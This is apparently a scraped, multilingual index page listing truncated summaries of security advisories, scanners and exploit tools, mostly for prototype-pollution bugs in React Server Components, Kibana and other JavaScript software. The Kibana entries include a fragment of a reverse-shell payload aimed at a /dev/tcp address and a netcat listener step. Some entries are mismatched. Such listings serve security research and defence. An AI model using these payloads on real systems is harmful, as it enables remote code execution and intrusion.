ROOT-APP-NPM-GHSA-7Q8Q-RJ6J-MHJQ GHSA-7q8q-rj6j-mhjq in axios - Patched by Root

Root has patched GHSA-7q8q-rj6j-mhjq in the axios package for Root:npm. Multiple fixed versions available...

ROOT-APP-NPM-GHSA-42H9-826W-CGV3 GHSA-42h9-826w-cgv3 in axios - Patched by Root

Root has patched GHSA-42h9-826w-cgv3 in the axios package for Root:npm. Multiple fixed versions available...

ROOT-APP-NPM-GHSA-MWF2-3PR3-8698 GHSA-mwf2-3pr3-8698 in axios - Patched by Root

Root has patched GHSA-mwf2-3pr3-8698 in the axios package for Root:npm. Multiple fixed versions available...

CVE-2025-55182-exp

CVE-2025-55182-exp 🔥 Descripción general CVE-2025-55182 es una vulnerabilidad crítica de ejecución remota de código RCE en React Server Components RSC que afecta a las aplicaciones Next.js que utilizan App Router con Server Actions. La vulnerabilidad reside en el proceso de deserialización del...

CVE-2025-55182-scanner

React 服务端组件表面暴露扫描器 CVE-2025-55182 一个专门用于 CVE-2025-55182 （React 服务端组件远程代码执行）的非侵入式表面检测工具。 ⚠️ 关键技术背景 扫描前请阅读： 虽然 CVE-2025-55182 是一个严重等级为 CVSS 10.0 的远程代码执行漏洞，但 在 Next.js 生产环境中实际利用是有条件的。 1. 白名单屏障： Next.js 使用 serverManifest 白名单来允许加载的模块。直接尝试通过 RSC 加载危险模块（如 childprocess）通常会失败，因为这些模块不在白名单中。 2. 攻击链：...

CVE-2025-25014

CVE-2025-25014的漏洞利用验证程序 Kibana 中的一个原型污染漏洞导致可通过向机器学习和报告端点发送精心构造的 HTTP 请求实现任意代码执行。 目前该验证程序仅检测 存在漏洞的实例。 使用方法 root@kitploit: python CVE-2025-25014.py -u username -p password --proxy proxyurl url...

kibana-RCE

CVE-2019-7609 kibana-RCE & /dev/tcp/10.10.20.166/8989 0&1";process.exit//' .propslabel.proto.env.NODEOPTIONS='--require /proc/self/environ' 0x02 Haga clic en Canvas para obtener shell...

R2SAE

R2SAE - React2Shell 自动利用工具 用于检测和利用 CVE-2025-55182 的 Firefox 扩展 React Server Actions 中的原型污染漏洞 功能特性 • 安装 • 使用 • 免责声明 ⚠️ 免责声明 本工具仅用于授权安全测试。 未经授权访问计算机系统属于违法行为。仅可在您拥有或获得明确书面许可的系统上使用本工具。作者不对任何滥用行为负责。 🎯 概述 R2SAE（React2Shell 自动利用工具）是一个 Firefox 浏览器扩展，用于自动检测和利用 CVE-2025-55182 ——Next.js React Server Actions...

jspanda

JSPanda JSpanda 是一个客户端原型污染漏洞扫描器。它有两个关键特性：扫描所提供的URL的漏洞，以及分析JavaScript库的源代码。然而，JSpanda 无法检测高级的原型污染漏洞。 JSPanda 如何工作？ 使用多种 payload 来检测原型污染漏洞。 收集目标中的所有链接进行扫描，并将 payload 添加到 JSpanda 获取的 URL 中，使用无头 Chromedriver 导航到每个 URL。 扫描潜在易受攻击的 JavaScript 库源代码中的所有单词，并通过查找脚本 gadget 创建一个简单的 JS PoC，帮助您手动分析代码。 要求 下载最新版本...

CVE-2019-7609

CVE-2019-7609 Kibana Kibana的Timelion visualizer存在缺陷，可导致远程代码执行的漏洞 环境配置 docker 1. 运行附带的 docker-compose.yml。 root@kitploit: docker-comopse up -d 2. 在浏览器中访问 http://127.0.0.1:5601。 漏洞利用 1. 准备一个反弹shell。 root@kitploit: $ nc -lvp 6666 2. 在Kibana的Timelion界面中输入payload，然后点击运行。 root@kitploit:...

CVE-2021-23383

CVE-2021-23383 包 handlebars 在 4.7.7 之前存在原型污染漏洞，当选择某些编译选项来编译来自不可信源的模板时。...

kibana-prototype-pollusion

CVE-2019-7609 在 5.6.15 之前的 Kibana 版本以及 6.6.1 版本中，Timelion 可视化工具存在任意代码执行缺陷。拥有 Timelion 应用访问权限的攻击者可以发送一个请求，尝试执行 JavaScript 代码。这可能导致攻击者以主机系统上 Kibana 进程的权限执行任意命令。 CVSS: 博客: https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/ Payload: https://github.com/mpgn/CVE-2019-7609 目标 设...

CVE-2019-7609

CVE-2019-7609 Kibana versions before 5.6.15 and 6.6.1 contain an arbitrary code execution flaw in the Timelion visualizer https://nvd.nist.gov/vuln/detail/CVE-2019-7609 CVE-2019-7609 该漏洞是 Kibana 中发现的 Prototype Pollution 漏洞。利用此漏洞可能导致 DoS 或 RCE 攻击。 特点 添加了 Node 提供的 debugging 选项。 可通过 Chrome://inspect...

ppmap

ppmap 一款用 GO 编写的简单扫描/利用工具，能够自动利用已知的现有 gadgets（检查全局上下文中的特定变量），通过原型污染执行 XSS。注意：该程序仅利用已知 gadgets，不涵盖代码分析或任何高级原型污染利用（可能包含自定义 gadgets）。 环境要求 确保已安装 Chromium。无需担心，setup.sh 会自动为你安装。 安装 运行以下命令克隆仓库： root@kitploit: git clone https://github.com/kleiton0x00/ppmap.git 切换到 ppmap 目录并执行 setup.sh ： root@kitploit: ...

ppmap

ppmap A simple scanner/exploitation tool written in GO which automatically exploits known and existing gadgets checks for specific variables in the global context to perform XSS via Prototype Pollution. NOTE: The program only exploits known gadgets, but does not cover code analysis or any advance...

plution

plution Escáner de contaminación de prototipos usando Chrome headless Qué es esto Plution es una forma conveniente de escanear a gran escala páginas que son vulnerables a la contaminación de prototipos del lado del cliente mediante un payload en la URL. En la configuración predeterminada, usará u...

plution

plution Prototype pollution scanner using headless chrome What this is Plution is a convenient way to scan at scale for pages that are vulnerable to client side prototype pollution via a URL payload. In the default configuration, it will use a hardcoded payload that can detect 11 of the cases...

CVE-2020-7598

es-define-property Object.defineProperty, but not IE 8's broken one...

react2shellexploitvisualized

React2Shell CVE-2025-55182 可视化 一个交互式教育可视化工具，用于解释 React2Shell 漏洞——一个影响 React 服务器组件的 CVSS 10.0 严重远程代码执行缺陷。 这是什么 一个包含 5 个步骤的带旁白讲解，解释以下内容： 1. 传统 SSR - 服务器端渲染的工作原理及“JSON 瓶颈”问题 2. RSC 流式传输 - React 服务器组件如何通过流式传输解决此问题 3. 漏洞利用 - 原型污染 + 组合链如何导致 RCE 4. 修复方案 - 一行 hasOwnProperty 检查如何阻止攻击 5. 关键要点 -...

CVE-2022-24760

CVE-2022-24760 flujo Por defecto no se necesita clave para añadir, eliminar o modificar las clases en la base de datos. Diff commit https://github.com/parse-community/parse-server/commit/886bfd7cac69496e3f73d4bb536f0eec3cba0e4d La contaminación de prototipos ocurre en la función...